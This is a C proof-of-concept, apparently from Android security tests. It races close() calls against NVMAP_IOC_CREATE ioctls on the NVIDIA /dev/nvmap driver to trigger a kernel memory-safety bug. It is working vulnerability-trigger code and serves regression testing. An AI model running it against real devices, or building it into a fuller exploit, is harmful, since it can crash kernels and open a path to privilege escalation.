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      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <stdlib.h>
     18 #include <errno.h>
     19 #include <unistd.h>
     20 #include <stdio.h>
     21 #include <dirent.h>
     22 #include <string.h>
     23 #include <sys/stat.h>
     24 #include <sys/ioctl.h>
     25 #include <stdio.h>
     26 #include <string.h>
     27 #include <dlfcn.h>
     28 #include <sys/time.h>
     29 #include <sys/mman.h>
     30 #include <sys/syscall.h>
     31 #include <sys/resource.h>
     32 #include <fcntl.h>
     33 #include <pthread.h>
     34 #include <unistd.h>
     35 #include <sched.h>
     36 
     37 #define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
     38 #define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
     39 #define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
     40 #define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
     41 
     42 #define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
     43 
     44 /* allocation flags */
     45 #define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
     46 #define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
     47 #define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
     48 #define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
     49 #define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
     50 
     51 #define NVMAP_HANDLE_SECURE          (0x1ul << 2)
     52 #define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
     53 #define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
     54 #define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
     55 #define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
     56 #define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
     57 
     58 struct nvmap_handle_param {
     59 	__u32 handle;		/* nvmap handle */
     60 	__u32 param;		/* size/align/base/heap etc. */
     61 	unsigned long result;	/* returns requested info*/
     62 };
     63 
     64 struct nvmap_create_handle {
     65 	union {
     66 		__u32 id;	/* FromId */
     67 		__u32 size;	/* CreateHandle */
     68 		__s32 fd;	/* DmaBufFd or FromFd */
     69 	};
     70 	__u32 handle;		/* returns nvmap handle */
     71 };
     72 
     73 struct nvmap_alloc_handle {
     74 	__u32 handle;		/* nvmap handle */
     75 	__u32 heap_mask;	/* heaps to allocate from */
     76 	__u32 flags;		/* wb/wc/uc/iwb etc. */
     77 	__u32 align;		/* min alignment necessary */
     78 };
     79 
     80 #define NVMAP_IOC_MAGIC 'N'
     81 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
     82 #define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
     83 #define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
     84 #define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
     85 #define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
     86 #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
     87 #define NVMAP_IOC_FROM_FD _IOWR(NVMAP_IOC_MAGIC, 16, struct nvmap_create_handle)
     88 int g_fd = -1;
     89 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
     90 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
     91 struct nvmap_create_handle* g_allocation = NULL;
     92 struct nvmap_create_handle g_allocation_dup;
     93 
     94 int open_driver() {
     95     char* dev_path = "/dev/nvmap";
     96     g_fd = open(dev_path, O_RDWR);
     97     if (g_fd < 0) {
     98         printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
     99     } else {
    100         printf("[*] open file(%s) succ!\n", dev_path);
    101     }
    102     return g_fd;
    103 }
    104 
    105 void trigger_nvmap_create() {
    106     ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
    107 }
    108 
    109 void trigger_nvmap_create_dup(int fd) {
    110     g_allocation_dup.fd = fd;
    111     ioctl(g_fd, NVMAP_IOC_FROM_FD, &g_allocation_dup);
    112 }
    113 
    114 void trigger_nvmap_alloc() {
    115     struct nvmap_alloc_handle alloc = {0};
    116     alloc.align = 0x1000;
    117     alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
    118     alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
    119     alloc.handle = g_allocation->handle;
    120     ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
    121 }
    122 
    123 void trigger_nvmap_free(int fd) {
    124     ioctl(g_fd, NVMAP_IOC_FREE, fd);
    125 }
    126 
    127 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
    128     setpriority(PRIO_PROCESS, gettid(), privi);
    129 
    130     /* bind process to a CPU*/
    131     if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
    132     }
    133 }
    134 
    135 void prepare_data() {
    136     void* data = (void *) memalign(0x1000, 4 * 0x1000);
    137     //void* data = malloc(0x10000);
    138     printf("[*] data = %p\n", data);
    139     g_allocation = (struct nvmap_create_handle*)data;
    140     g_allocation->size = 1024;
    141     g_allocation->handle = -1;
    142     mprotect(data, 0x1000, PROT_READ);
    143     printf("[*] mprotect, error = %d\n", errno);
    144 }
    145 
    146 void* race_thread(void* arg) {
    147     setup_privi_and_affinity(-10, 2);
    148 
    149     pthread_mutex_lock(&mutex);
    150     pthread_cond_wait(&cond, &mutex);
    151     pthread_mutex_unlock(&mutex);
    152 
    153     while (1)
    154         close(1024);
    155 }
    156 
    157 int main(int argc, char**argv) {
    158 
    159     setup_privi_and_affinity(-10, 1);
    160 
    161     if (open_driver() < 0) {
    162         return -1;
    163     }
    164     prepare_data();
    165 
    166     pthread_t tid;
    167     pthread_create(&tid, NULL, race_thread, NULL);
    168     usleep(100 * 1000);
    169 
    170     pthread_cond_signal(&cond);
    171     usleep(20);
    172     while (1) {
    173         trigger_nvmap_create();
    174     }
    175     return 0;
    176 }
    177